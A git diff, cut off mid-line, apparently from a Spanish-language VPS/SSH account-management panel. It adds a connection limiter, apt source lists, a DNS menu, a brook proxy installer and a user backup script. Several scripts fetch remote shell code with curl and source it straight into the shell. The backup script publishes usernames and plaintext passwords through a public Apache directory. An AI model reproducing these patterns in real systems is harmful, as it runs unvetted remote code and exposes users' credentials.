+[[ ! -e /tmp/tcpdump ]] && touch /tmp/tcpdump +#ANALIZA USER +for user in `awk -F : '$3 > 900 { print $1 }' /etc/passwd |grep -v "nobody" |grep -vi polkitd |grep -vi systemd-[a-z] |grep -vi systemd-[0-9]`; do +touch /tmp/$user +ip_openssh $user > /dev/null 2>&1 +ip_drop $user > /dev/null 2>&1 +sed -i '/^$/d' /tmp/$user +pacotes=$(paste -sd+ /tmp/$user | bc) +rm /tmp/$user +if [ "$pacotes" != "" ]; then + if [ "$(cat $usr_dir | grep "$user")" != "" ]; then + pacotesuser=$(cat $usr_dir | grep "$user" | awk '{print $2}') + [[ $pacotesuser = "" ]] && pacotesuser=0 + [[ $pacotesuser != +([0-9]) ]] && pacotesuser=0 + ussrvar=$(cat $usr_dir | grep -v "$user") + echo "$ussrvar" > $usr_dir + pacotes=$(($pacotes+$pacotesuser)) + echo -e "$user $pacotes" >> $usr_dir + else + echo -e "$user $pacotes" >> $usr_dir + fi +fi +unset pacotes +done +) & +} + +ip_openssh () { +user="$1" +for ip in `lsof -u $user -P -n | grep "ESTABLISHED" | awk -F "->" '{print $2}' |awk -F ":" '{print $1}' | grep -v "127.0.0.1"`; do + local packet=$(cat $log_2 | grep "$ip" | wc -l) + echo "$packet" >> /tmp/$user + unset packet +done +} + +ip_drop () { +user="$1" +loguser='Password auth succeeded' +touch /tmp/drop +for ip in `cat /var/log/auth.log | tail -100 | grep "$user" | grep "$loguser" | awk -F "from" '{print $2}' | awk -F ":" '{print $1}'`; do + if [ "$(cat /tmp/drop | grep "$ip")" = "" ]; then + packet=$(cat $log_2 | grep "$ip" | wc -l) + echo "$packet" >> /tmp/$user + echo "$ip" >> /tmp/drop + fi +done +rm /tmp/drop +} + + +killing () { + kill $1 +} + +_timeUSER () { +( +local user=$1 +[[ -z $user ]] && return + local tst="$(ps -o etime $(ps -u $user |grep sshd |awk 'NR==1 {print $1}')|awk 'NR==2 {print $1}')" + local tst1=$(echo "$tst" | wc -c) + if [[ "$tst1" == "9" ]]; then + local timerr="$(ps -o etime $(ps -u $user |grep sshd |awk 'NR==1 {print $1}')|awk 'NR==2 {print $1}')" + else + local timerr="$(echo "00:$tst")" + fi +[[ "$tst1" == "0" ]] && return +unset var4 var5 var6 calc2 +tmp2="$timerr" +local var4=`echo $tmp2 | cut -c 1-2` +local var5=`echo $tmp2 | cut -c 4-5` +local var6=`echo $tmp2 | cut -c 7-8` +[[ ! -e ${ADM}$user.time ]] && calc2=`echo $var4*3600 + $var5*60 + $var6 | bc` || calc2="$(cat ${ADM}$user.time)" +seg=$(($calc2 + 29)) +echo "$seg" > ${ADM}$user.time +) & +} + +killerDROP () { +user=$1 && limit=$2 +num=$(dropb | grep "$user" | wc -l) + [[ $num -gt $limit ]] && { + pidKILL=$(dropb | grep "$user" | awk '{print $2}') + killing $pidKILL + echo " $user DROPBEAR LIMITADO ${limit}/$num | $(printf '%(%D-%H:%M:%S)T') !" >> $HOME/limiter.log + } +} + +killerSSH () { +local user=$1 +local limit=$2 +local _ps="$(ps x | grep [[:space:]]$user[[:space:]] | grep -v grep | grep -v pts)" +local conex=$(echo -e "$_ps" | wc -l) +[[ $conex -gt $limit ]] && { + #while read line; do + # local tmp="$(echo $line | cut -d' ' -f1)" + # killing $tmp + pkill -u $user + echo " ( $user ) LIMITADO ${conex}/${limit} | $(printf '%(%D-%H:%M:%S)T') !" >> $HOME/limiter.log + #done <<< "$(echo -e "$_ps")" + } +} + +[[ -e /bin/ejecutar/usCONEXC ]] && fun_net + +for u in `cat "/etc/passwd"|grep 'home'|grep 'false'|grep -v 'syslog' | cut -d: -f1` +do +[[ -e ${ADM}$u ]] && daaab=$(cat ${ADM}$u | grep "limite:" | awk '{print $2}') +[[ ${daaab} = "HWID" ]] && daaab=${_limTOP} +[[ ${daaab} = "TOKEN" ]] && daaab=${_limTOP} +killerDROP ${u} ${daaab} +killerSSH ${u} ${daaab} +[[ -e /bin/ejecutar/usCONEXT ]] && _timeUSER ${u} +echo "$u $daaab" >> /root/user +if [[ $(chage -l $u |grep 'Account expires' |awk -F ': ' '{print $2}') != never ]]; then +[[ $time -gt $(date '+%s' -d "$(chage -l $u |grep "Account expires" |awk -F ': ' '{print $2}')") ]] && { + [[ -e /etc/default/dropbear ]] && { + pkill -u $u &>/dev/null + droplim=`dropb|grep -w "$u"|awk '{print $2}'` + kill -9 $droplim &>/dev/null + usermod -L $u &>/dev/null + } + } +fi +done + +rm -rf /root/user +exit diff --git a/Recursos/menu/Ubuntu16.04.list b/Recursos/menu/Ubuntu16.04.list new file mode 100644 index 0000000..bf58080 --- /dev/null +++ b/Recursos/menu/Ubuntu16.04.list @@ -0,0 +1,51 @@ +#deb cdrom:[Ubuntu 16.04.2 LTS _Xenial Xerus_ - Release amd64 (20170215.2)]/ xenial main restricted + +# See http://help.ubuntu.com/community/UpgradeNotes for how to upgrade to +# newer versions of the distribution. +deb http://us.archive.ubuntu.com/ubuntu/ xenial main restricted +# deb-src http://us.archive.ubuntu.com/ubuntu/ xenial main restricted + +## Major bug fix updates produced after the final release of the +## distribution. +deb http://us.archive.ubuntu.com/ubuntu/ xenial-updates main restricted +# deb-src http://us.archive.ubuntu.com/ubuntu/ xenial-updates main restricted + +## N.B. software from this repository is ENTIRELY UNSUPPORTED by the Ubuntu +## team. Also, please note that software in universe WILL NOT receive any +## review or updates from the Ubuntu security team. +deb http://us.archive.ubuntu.com/ubuntu/ xenial universe +# deb-src http://us.archive.ubuntu.com/ubuntu/ xenial universe +deb http://us.archive.ubuntu.com/ubuntu/ xenial-updates universe +# deb-src http://us.archive.ubuntu.com/ubuntu/ xenial-updates universe + +## N.B. software from this repository is ENTIRELY UNSUPPORTED by the Ubuntu +## team, and may not be under a free licence. Please satisfy yourself as to +## your rights to use the software. Also, please note that software in +## multiverse WILL NOT receive any review or updates from the Ubuntu +## security team. +deb http://us.archive.ubuntu.com/ubuntu/ xenial multiverse +# deb-src http://us.archive.ubuntu.com/ubuntu/ xenial multiverse +deb http://us.archive.ubuntu.com/ubuntu/ xenial-updates multiverse +# deb-src http://us.archive.ubuntu.com/ubuntu/ xenial-updates multiverse + +## N.B. software from this repository may not have been tested as +## extensively as that contained in the main release, although it includes +## newer versions of some applications which may provide useful features. +## Also, please note that software in backports WILL NOT receive any review +## or updates from the Ubuntu security team. +deb http://us.archive.ubuntu.com/ubuntu/ xenial-backports main restricted universe multiverse +# deb-src http://us.archive.ubuntu.com/ubuntu/ xenial-backports main restricted universe multiverse + +## Uncomment the following two lines to add software from Canonical's +## 'partner' repository. +## This software is not part of Ubuntu, but is offered by Canonical and the +## respective vendors as a service to Ubuntu users. +# deb http://archive.canonical.com/ubuntu xenial partner +# deb-src http://archive.canonical.com/ubuntu xenial partner + +deb http://security.ubuntu.com/ubuntu xenial-security main restricted +# deb-src http://security.ubuntu.com/ubuntu xenial-security main restricted +deb http://security.ubuntu.com/ubuntu xenial-security universe +# deb-src http://security.ubuntu.com/ubuntu xenial-security universe +deb http://security.ubuntu.com/ubuntu xenial-security multiverse +# deb-src http://security.ubuntu.com/ubuntu xenial-security multiverse diff --git a/Recursos/menu/Ubuntu18.04.list b/Recursos/menu/Ubuntu18.04.list new file mode 100644 index 0000000..83df360 --- /dev/null +++ b/Recursos/menu/Ubuntu18.04.list @@ -0,0 +1,49 @@ +# See http://help.ubuntu.com/community/UpgradeNotes for how to upgrade to +# newer versions of the distribution. +deb http://us.archive.ubuntu.com/ubuntu/ bionic main restricted +# deb-src http://us.archive.ubuntu.com/ubuntu/ bionic main restricted + +## Major bug fix updates produced after the final release of the +## distribution. +deb http://us.archive.ubuntu.com/ubuntu/ bionic-updates main restricted +# deb-src http://us.archive.ubuntu.com/ubuntu/ bionic-updates main restricted + +## N.B. software from this repository is ENTIRELY UNSUPPORTED by the Ubuntu +## team. Also, please note that software in universe WILL NOT receive any +## review or updates from the Ubuntu security team. +deb http://us.archive.ubuntu.com/ubuntu/ bionic universe +# deb-src http://us.archive.ubuntu.com/ubuntu/ bionic universe +deb http://us.archive.ubuntu.com/ubuntu/ bionic-updates universe +# deb-src http://us.archive.ubuntu.com/ubuntu/ bionic-updates universe + +## N.B. software from this repository is ENTIRELY UNSUPPORTED by the Ubuntu +## team, and may not be under a free licence. Please satisfy yourself as to +## your rights to use the software. Also, please note that software in +## multiverse WILL NOT receive any review or updates from the Ubuntu +## security team. +deb http://us.archive.ubuntu.com/ubuntu/ bionic multiverse +# deb-src http://us.archive.ubuntu.com/ubuntu/ bionic multiverse +deb http://us.archive.ubuntu.com/ubuntu/ bionic-updates multiverse +# deb-src http://us.archive.ubuntu.com/ubuntu/ bionic-updates multiverse + +## N.B. software from this repository may not have been tested as +## extensively as that contained in the main release, although it includes +## newer versions of some applications which may provide useful features. +## Also, please note that software in backports WILL NOT receive any review +## or updates from the Ubuntu security team. +# deb http://us.archive.ubuntu.com/ubuntu/ bionic-backports main restricted universe multiverse +# deb-src http://us.archive.ubuntu.com/ubuntu/ bionic-backports main restricted universe multiverse + +## Uncomment the following two lines to add software from Canonical's +## 'partner' repository. +## This software is not part of Ubuntu, but is offered by Canonical and the +## respective vendors as a service to Ubuntu users. +# deb http://archive.canonical.com/ubuntu bionic partner +# deb-src http://archive.canonical.com/ubuntu bionic partner + +deb http://security.ubuntu.com/ubuntu bionic-security main restricted +# deb-src http://security.ubuntu.com/ubuntu bionic-security main restricted +deb http://security.ubuntu.com/ubuntu bionic-security universe +# deb-src http://security.ubuntu.com/ubuntu bionic-security universe +deb http://security.ubuntu.com/ubuntu bionic-security multiverse +# deb-src http://security.ubuntu.com/ubuntu bionic-security multiverse diff --git a/Recursos/menu/Ubuntu19.10.list b/Recursos/menu/Ubuntu19.10.list new file mode 100644 index 0000000..520c2dd --- /dev/null +++ b/Recursos/menu/Ubuntu19.10.list @@ -0,0 +1,14 @@ +deb http://ur.archive.ubuntu.com/ubuntu eoan main restricted universe multiverse +#deb-src http://us.archive.ubuntu.com/ubuntu eoan main restricted universe multiverse + +deb http://us.archive.ubuntu.com/ubuntu eoan-updates main restricted universe multiverse +#deb-src http://us.archive.ubuntu.com/ubuntu eoan-updates main restricted universe multiverse + +deb http://us.archive.ubuntu.com/ubuntu eoan-security main restricted universe multiverse +#deb-src http://us.archive.ubuntu.com/ubuntu eoan-security main restricted universe multiverse + +deb http://us.archive.ubuntu.com/ubuntu eoan-backports main restricted universe multiverse +#deb-src http://us.archive.ubuntu.com/ubuntu eoan-backports main restricted universe multiverse + +# deb http://archive.canonical.com/ubuntu eoan partner +# deb-src http://archive.canonical.com/ubuntu eoan partner diff --git a/Recursos/menu/autobackup.sh b/Recursos/menu/autobackup.sh new file mode 100644 index 0000000..8ead489 --- /dev/null +++ b/Recursos/menu/autobackup.sh @@ -0,0 +1,104 @@ +#!/bin/bash + +_Key='/etc/cghkey' + +clear +_SFTP="$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN" | grep apache2)" +[[ ! -e ${_Key} ]] && exit + +dir_user="/userDIR" +dir="/etc/adm-lite" +name=$(cat < /bin/ejecutar/autt) +bc="$HOME/$name" +arquivo_move="$name" +fun_ip () { +if [[ -e /bin/ejecutar/IPcgh ]]; then + IP="$(cat /bin/ejecutar/IPcgh)" + else + MEU_IP=$(ip addr | grep 'inet' | grep -v inet6 | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | head -1) + MEU_IP2=$(wget -qO- ipv4.icanhazip.com) + [[ "$MEU_IP" != "$MEU_IP2" ]] && IP="$MEU_IP2" && echo "$MEU_IP2" || IP="$MEU_IP" && echo "$MEU_IP" + echo "$MEU_IP2" > /bin/ejecutar/IPcgh + IP="$MEU_IP2" +fi +} + + + +removeonline(){ +i=1 + [[ -d /var/www/html ]] && [[ -e /var/www/html/$arquivo_move ]] && rm -rf /var/www/html/$arquivo_move > /dev/null 2>&1 + [[ -e /var/www/$arquivo_move ]] && rm -rf /var/www/$arquivo_move > /dev/null 2>&1 + echo -e "${cor[5]}Extraxion Exitosa Exitosa" + echo -e "$barra" +echo "SUBIENDO" +subironline +} +subironline(){ +[ ! -d /var ] && mkdir /var +[ ! -d /var/www ] && mkdir /var/www +[ ! -d /var/www/html ] && mkdir /var/www/html +[ ! -e /var/www/html/index.html ] && touch /var/www/html/index.html +[ ! -e /var/www/index.html ] && touch /var/www/index.html +chmod -R 755 /var/www +cp $HOME/$arquivo_move /var/www/$arquivo_move +cp $HOME/$arquivo_move /var/www/html/$arquivo_move +service apache2 restart +#portFTP=$(lsof -V -i tcp -P -n | grep apache2 | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN" | cut -d: -f2 | cut -d' ' -f1 | uniq) +local portFTP=$(echo -e "$_SFTP" |cut -d: -f2 | cut -d' ' -f1 | uniq) +local portFTP=$(echo ${portFTP} | sed 's/\s\+/,/g' | cut -d , -f1) +#_pFTP="$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN" | grep apache2 | cut -d " " -f1 | uniq)" +[[ -z ${_SFTP} ]] && echo -e "SERVICIO FTP NO ACTIVO " || { +IP="$(fun_ip)" +echo -e "\033[1;36m http://$IP:${portFTP}/$arquivo_move\033[0m" +echo -e "$barra" +echo -e "${cor[5]}Carga Exitosa!" +echo -e "$barra" +} +} + +function backup_de_usuarios(){ +clear +i=1 +[[ -e $bc ]] && rm $bc +echo -e "\033[1;37mHaciendo Backup de Usuarios...\033[0m" +[[ -e /bin/ejecutar/token ]] && passTK=$(cat < /bin/ejecutar/token) +for user in `awk -F : '$3 > 900 { print $1 }' /etc/passwd |grep -v "nobody" |grep -vi polkitd |grep -vi systemd-[a-z] |grep -vi systemd-[0-9] |sort` +#for user in `cat "/etc/passwd"|grep 'home'|grep 'false'|grep -v 'syslog' | cut -d: -f1 |sort` +do +if [ -e $dir$dir_user/$user ] +then +pass=$(cat $dir$dir_user/$user | grep "senha" | awk '{print $2}') +limite=$(cat $dir$dir_user/$user | grep "limite" | awk '{print $2}') +data=$(cat $dir$dir_user/$user | grep "data" | awk '{print $2}') +data_sec=$(date +%s) +data_user=$(chage -l "$user" |grep -i co |awk -F ":" '{print $2}') +data_user_sec=$(date +%s --date="$data_user") +variavel_soma=$(($data_user_sec - $data_sec)) +dias_use=$(($variavel_soma / 86400)) +if [[ "$dias_use" -le 0 ]]; +then +dias_use=0 +fi +sl=$((dias_use + 1)) +i=$((i + 1)) +[[ -z "$limite" ]] && limite="5" +else +echo -e "\033[1;31mNo fue posible obtener la contraseña del usuario\033[1;37m ($user)" +#read -p "Introduzca la contraseña manualmente o pulse ENTER: " pass + if [ -z "$pass" ]; then +pass="$user" + fi +fi +[[ $(echo $limite) = "HWID" ]] && echo "$user:$user:HWID:$sl:$pass" >> $bc && echo -e "\033[1;37mUser $pass \033[0;35m [\033[0;36m$limite\033[0;35m]\033[0;31m Backup [\033[1;31mOK\033[1;37m] con $sl DIAS\033[0m" +[[ $(echo $limite) = "TOKEN" ]] && echo "$user:$passTK:TOKEN:$sl:$pass" >> $bc && echo -e "\033[1;37mUser $pass \033[0;35m [\033[0;36m$limite\033[0;35m]\033[0;31m Backup [\033[1;31mOK\033[1;37m] con $sl DIAS\033[0m" +[[ "$limite" =~ ^[0-9]+$ ]] && echo "$user:$pass:$limite:$sl" >> $bc && echo -e "\033[1;37mUser $user \033[0;35m [\033[0;36mSSH\033[0;35m]\033[0;31m Backup [\033[1;31mOK\033[1;37m] con $sl DIAS\033[0m" +done +echo " " +echo -e "\033[1;31mBackup Completado !!!\033[0m" +echo " " +echo -e "\033[1;37mLa informacion de los usuarios $i se encuentra en el archivo \033[1;31m $bc \033[1;37m" +} +backup_de_usuarios +[[ -z ${_SFTP} ]] && echo -e "SERVICIO FTP NO ACTIVO / REMOVIDO " || removeonline +rm $HOME/$arquivo_move diff --git a/Recursos/menu/dnsNN.sh b/Recursos/menu/dnsNN.sh new file mode 100644 index 0000000..1d24df9 --- /dev/null +++ b/Recursos/menu/dnsNN.sh @@ -0,0 +1,83 @@ +#!/bin/bash + +source <(curl -sL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/msg-bar/msg) + +newDNS(){ + del 3 + back + in_opcion -nazu 'INGRESA TU HOST/IP DNS' + if [[ $opcion = '0' ]] || [[ $opcion = "" ]]; then + return + fi + opcion=$(echo "$opcion" | tr -d '[[:space:]]') + echo "nameserver $opcion" >> /etc/resolvconf/resolv.conf.d/head + resolvconf -u + del 4 + print_center -verd 'Nuevo host/ip dns agregado!' + enter +} + +delDNS(){ + title 'REMOVER UN HOST/IP DNS' + i=0 + for d in ${dns[@]}; do + let i++ + [[ -z $d ]] && continue + echo " $(msg -verd "[$i]") $(msg -verm2 '>') $(msg -azu "$d")" + done + back + opcion=$(selection_fun $i) + [[ $opcion = 0 ]] && return + linea=$(grep -n -E "${dns[$opcion]}" /etc/resolvconf/resolv.conf.d/head|awk '{print $1}'|cut -d ':' -f1) + sed -i "${linea}d" /etc/resolvconf/resolv.conf.d/head + #sed -i "/nameserver ${dns[$opcion]}/d" /etc/resolvconf/resolv.conf.d/head + resolvconf -u + print_center -ama 'Host/Ip dns removido!' + enter +} + +menuDNS(){ + unset dns + resolv=$(cat /etc/resolvconf/resolv.conf.d/head|grep -v '#'|grep nameserver|cut -d ' ' -f2) + title 'CONFIGURACION DE IP DNS' + print_center -verm2 'funcion beta, por fallos reportar a @Rufu99' + msg -bar3 + print_center -ama ' lista de ip dns activas' + msg -bar3 + i=1 + while read line; do + #echo " $(msg -verd "[$i]") $(msg -verm2 ">") $(msg -azu "$line")" + echo " $(msg -verd "NameServer") $(msg -verm2 ">") $(msg -azu "$line")" + dns[$i]="$line" + let i++ + done <<< $(echo "$resolv") + msg -bar3 + echo -ne " $(msg -verd "[0]") $(msg -verm2 ">")" + echo " $(msg -bra "\033[1;41mVOLVER") $(msg -verd "[1]") $(msg -verm2 ">") $(msg -verd "AGREGAR DNS") $(msg -verd "[2]") $(msg -verm2 ">") $(msg -verm2 "QUITAR DNS")" + msg -bar3 + opcion=$(selection_fun 2) + case $opcion in + 1)newDNS;; + 2)delDNS;; + 0) return 1;; + esac +} + +install_resolv(){ + if [[ $(which resolvconf) = "" ]]; then + title -ama 'AVISO!!!!' + print_center -ama 'Esta funcion requiere del paquete resolvconf' + msg -bar3 + in_opcion 'Quieres instalar resolvconf [s/n]' + case $opcion in + s|S)apt install resolvconf -y;; + n|N)return 1;; + *)return 1;; + esac + fi +} + +while [[ $? -eq 0 ]]; do + install_resolv + [[ $? -eq 0 ]] && menuDNS +done diff --git a/Recursos/menu/funciones.sh b/Recursos/menu/funciones.sh new file mode 100644 index 0000000..ca23bf6 --- /dev/null +++ b/Recursos/menu/funciones.sh @@ -0,0 +1,483 @@ +#!/bin/bash +# +fun_barin () { +#==comando a ejecutar== +comando="$1" +#==interfas== +in=' [' +en=' ] ' +full_in="➛" +full_en='100%' +bar=(──────────────────── +═─────────────────── +▇═────────────────── +▇▇═───────────────── +═▇▇═──────────────── +─═▇▇═─────────────── +──═▇▇═────────────── +───═▇▇═───────────── +────═▇▇═──────────── +─────═▇▇═─────────── +──────═▇▇═────────── +───────═▇▇═───────── +────────═▇▇═──────── +─────────═▇▇═─────── +──────────═▇▇═────── +───────────═▇▇═───── +────────────═▇▇═──── +─────────────═▇▇═─── +──────────────═▇▇═── +───────────────═▇▇═─ +────────────────═▇▇═ +─────────────────═▇▇ +──────────────────═▇ +───────────────────═ +──────────────────═▇ +─────────────────═▇▇ +────────────────═▇▇═ +───────────────═▇▇═─ +──────────────═▇▇═── +─────────────═▇▇═─── +────────────═▇▇═──── +───────────═▇▇═───── +──────────═▇▇═────── +─────────═▇▇═─────── +────────═▇▇═──────── +───────═▇▇═───────── +──────═▇▇═────────── +─────═▇▇═─────────── +────═▇▇═──────────── +───═▇▇═───────────── +──═▇▇═────────────── +─═▇▇═─────────────── +═▇▇═──────────────── +▇▇═───────────────── +▇═────────────────── +═─────────────────── +────────────────────); +#==color== +in="\033[1;33m$in\033[0m" +en="\033[1;33m$en\033[0m" +full_in="\033[1;31m$full_in" +full_en="\033[1;32m$full_en\033[0m" + + _=$( +$comando > /dev/null 2>&1 +) & > /dev/null +pid=$! +while [[ -d /proc/$pid ]]; do + for i in "${bar[@]}"; do + echo -ne "\r $in" + echo -ne "ESPERE $en $in \033[1;31m$i" + echo -ne " $en" + sleep 0.2 + done +done +echo -e " $full_in $full_en" +sleep 0.1s +} + +print_center(){ + if [[ -z $2 ]]; then + text="$1" + else + col="$1" + text="$2" + fi + + while read line; do + unset space + x=$(( ( 54 - ${#line}) / 2)) + for (( i = 0; i < $x; i++ )); do + space+=' ' + done + space+="$line" + if [[ -z $2 ]]; then + msg -azu "$space" + else + msg "$col" "$space" + fi + done <<< $(echo -e "$text") +} + +############ + +SCPdir="/etc/adm-lite" +declare -A cor=( [0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m" [5]="\e[1;36m" ) + +fun_bar () { +comando="$1" +_=$( $comando > /dev/null 2>&1 ) & > /dev/null +pid=$! +while [[ -d /proc/$pid ]]; do +echo -ne " \033[1;33m[" +for((i=0; i<20; i++)); do +echo -ne "\033[1;31m##" +sleep 0.5 +done +echo -ne "\033[1;33m]" +sleep 1s +echo +tput cuu1 +tput dl1 +done +echo -e " \033[1;33m[\033[1;31m########################################\033[1;33m] - \033[1;32m100%\033[0m" +sleep 1s +} + + +function install(){ + if [ ! -f "$HOME/.nami/bin/nami" ] || [ ! -f "$HOME/.nami/bin/joker" ] || [ ! -f "$HOME/.nami/bin/brook" ] || [ ! -f "$HOME/.nami/bin/jinbe" ] || [ `echo $PATH | grep $HOME/.nami/bin | wc -l` -eq 0 ];then + echo + echo -e "$PC"'>>> bash <(curl https://bash.ooo/nami.sh)'"$NC" + os="" + arch="" + if [ $(uname -s) = "Darwin" ]; then + os="darwin" + fi + if [ $(uname -s) = "Linux" ]; then + os="linux" + fi + if [ $(uname -s | grep "MINGW" | wc -l) -eq 1 ]; then + os="windows" + fi + if [ $(uname -m) = "x86_64" ]; then + arch="amd64" + fi + if [ $(uname -m) = "arm64" ]; then + arch="arm64" + fi + if [ $(uname -m) = "aarch64" ]; then + arch="arm64" + fi + if [ "$os" = "" -o "$arch" = "" ]; then + echo "Nami does not support your OS/ARCH yet. Please submit issue or PR to https://github.com/txthinking/nami" + exit + fi + sfx="" + if [ $os = "windows" ]; then + sfx=".exe" + fi + mkdir -p $HOME/.nami/bin + curl -L -o $HOME/.nami/bin/nami$sfx "https://github.com/txthinking/nami/releases/latest/download/nami_${os}_${arch}$sfx" + chmod +x $HOME/.nami/bin/nami + echo 'export PATH=$HOME/.nami/bin:$PATH' >> $HOME/.bashrc + echo 'export PATH=$HOME/.nami/bin:$PATH' >> $HOME/.bash_profile + echo 'export PATH=$HOME/.nami/bin:$PATH' >> $HOME/.zshenv + export PATH=$HOME/.nami/bin:$PATH + echo + echo -e "$PC"'>>> nami install joker brook jinbe'"$NC" + nami install joker brook jinbe + restartsh="todo" + fi +} + +function aguarde() { + sleep 1 + helice() { + #install >/dev/null 2>&1 & + tput civis + while [ -d /proc/$! ]; do + for i in / - \\ \|; do + sleep .1 + echo -ne "\e[1D$i" + done + done + tput cnorm + } + echo -ne " \033[1;37mINSTALANDO \033[1;32mNAMI \033[1;37m& \033[1;32mBROOK JOKER\033[1;32m.\033[1;33m.\033[1;31m. \033[1;33m" + helice + echo -e "\e[1DDONE" +} + +brook_fun () { +msg -bar +aguarde +msg -bar +install +[[ -e /data/cert.key && -e /data/cert.crt ]] || { +unset x +[[ -d /data ]] && rm -rf /data +echo -e " CREAREMOS EL CERTIFICADO BETA EN /data" +read -p " PRESIONA ENTER PARA CONTINUAR O Cntrol + X para salir" +source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/certificadossl.sh) +} +msg -bar +ip4=`curl -s -4 ipip.ooo` +ip6=`curl -s -6 ipip.ooo` +PC='\033[0;35m' +NC='\033[0m' +lang="" +restartsh="" +echo +read -p "$(echo -e "\033[1;34m INGRESA TU DOMINIO ( ejemplo.com ) :")" domain +tput cuu1 >&2 && tput dl1 >&2 +[[ -z $domain ]] && domain=$(wget -qO- ifconfig.me) +read -p "$(echo -e "\033[1;34m INGRESA PUERTO DEL SERVICIO ( 9999 ) :")" puerto +tput cuu1 >&2 && tput dl1 >&2 +read -p "$(echo -e "\033[1;34m INGRESA CLAVE O PASSWD ( tuclave ) :")" password +tput cuu1 >&2 && tput dl1 >&2 +read -p "$(echo -e "\033[1;34m INGRESA TU HOST SNI ( whatsapp.net ) :")" sni +tput cuu1 >&2 && tput dl1 >&2 +fun_hb () { +echo -e " -> INICIANDO CONFIGURACION " | pv -qL 40 +msg -bar +echo -e " -> DOMINIO : $domain" +echo -e " -> PUERTO : $puerto" +echo -e " -> CONTRASEÑA : $password" +echo -e " -> HOST/SNI : $sni" +echo -ne " HABILITANDO CONFIGURACION DEL WSS BROOK" +} + +echo -e "\033[0;35m [\033[0;36m1\033[0;35m]\033[0;31m➮ ${cor[3]} I want to run brook server " +echo -e "\033[0;35m [\033[0;36m2\033[0;35m]\033[0;31m➮ ${cor[3]} I want to run brook wsserver " +echo -e "\033[0;35m [\033[0;36m3\033[0;35m]\033[0;31m➮ ${cor[3]} I want to run brook wssserver" +echo -e "\033[0;35m [\033[0;36m4\033[0;35m]\033[0;31m➮ ${cor[3]} I want to run brook socks5 " +msg -bar #echo -e "$barra" +selection=$(selection_fun 4) +case ${selection} in +0) +source menu +exit +;; +1) +fun_hb +echo +echo -e "$PC"">>> joker brook server --listen :$puerto --password '$password'""$NC" +joker brook server --listen :$puerto --password "$password" +sleep 3 +echo +echo -e "$PC"">>> joker list""$NC" +joker list +echo; +echo -e "$PC"'>>> joker log `joker last`'"$NC" +joker log `joker last` +if [ -n "$ip4" ]; then +echo; +echo -e "$PC"">>> brook link -s $ip4:$puerto -p '$password'""$NC" +brook link -s $ip4:$puerto -p "$password" +fi +if [ -n "$ip6" ]; then +echo; +echo -e "$PC"">>> brook link -s [$ip6]:$puerto -p '$password'""$NC" +brook link -s [$ip6]:$puerto -p "$password" +fi + +read -p " Enter";; +2) +fun_hb +echo +echo -e "$PC"">>> joker brook wsserver --listen :$puerto --password '$password'""$NC" +#screen -dmS new$puerto +joker brook wsserver --listen :$puerto --password "$password" --cert /data/cert.crt --certkey /data/cert.key && loll="ok" || loll='' +echo +echo -e "$PC"">>> joker list""$NC" +joker list +echo; +echo -e "$PC"'>>> joker log `joker last`'"$NC" +joker log `joker last` + +if [ -n "$ip4" ]; then +echo; +echo -e "$PC"">>> brook link -s ws://$ip4:$puerto -p '$password'""$NC" +brook link --server ws://$sni:${puerto} -p "$password" -u "@drowkid01" --address "$domain" --name "@drowkid01" --insecure +fi +if [ -n "$ip6" ]; then +echo; +echo -e "$PC"">>> brook link -s [$ip6]:$puerto -p '$password'""$NC" +brook link -s ws://[$ip6]:$puerto -p "$password" --cert /data/cert.crt --certkey /data/cert.key && loll="ok" || loll='' +fi +echo; +read -p " Enter";; +3) +fun_hb +[[ `brook -v | awk '{print $3}'` -le 20210701 ]] && { +echo -e "$PC"">>> joker brook wssserver --domain $domain --password '$password'""$NC" +joker brook wssserver --domain $domain --password "$password" --cert /data/cert.crt --certkey /data/cert.key && loll="ok" || loll='' +} +[[ `brook -v | awk '{print $3}'` -gt 20210701 ]] && { +echo -e "$PC"">>> joker brook wssserver --domainaddress $domain:${puerto} --password '$password'""$NC" +joker brook wssserver --domainaddress $domain:${puerto} --password "$password" --cert /data/cert.crt --certkey /data/cert.key && loll="ok" || loll='' +} +[[ $loll = "ok" ]] && echo -e "DONE" || echo -e "FAIL" + +echo +echo -e "$PC"">>> joker list""$NC" +joker list + +echo; +echo -e "$PC"'>>> joker log `joker last`'"$NC" +joker log `joker last` + +echo; +echo -e "$PC"">>> brook link -s wss://$domain:${puerto} -p '$password'""$NC" +msg -bar +echo +brook link --server wss://$sni:${puerto} -p "$password" -u "@drowkid01" --address "$domain" --name "@drowkid01" --insecure +echo +msg -bar + +read -p " Enter";; +4) +fun_hb +read -p " Enter";; +esac + +read -p " COPIA TU CONFIG WSS" +} + +_ports() { +PT=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN") +x=1 +for porta in `echo -e "$PT" | cut -d: -f2 | cut -d' ' -f1 | uniq`; do + porta[$x]="$porta" + svcs[$x]="$(echo -e "$PT" | grep -w "$porta" | awk '{print $1}' | uniq)" + x=$(($x+1)) +done + +for((i=1; i<$x; i++)); do +[[ ! -z ${svcs[$i]} ]] && texto="\033[1;34m ▸ \033[1;37m${svcs[$i]}: \033[1;31m${porta[$i]}" || texto='' +[[ ${svcs[$i]} = "apache2" ]] && texto="\033[1;34m ▸ \033[1;37mAPACHE: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "node" ]] && texto="\033[1;34m ▸ \033[1;37mWebSocket: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "clash" ]] && texto="\033[1;34m ▸ \033[1;37mClash: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "psiphond" ]] && texto="\033[1;34m ▸ \033[1;37mPSIPHON: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "xray-v2-u" ]] && texto="\033[1;34m ▸ \033[1;37mXRAY/UI: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "v2-ui" ]] && texto="\033[1;34m ▸ 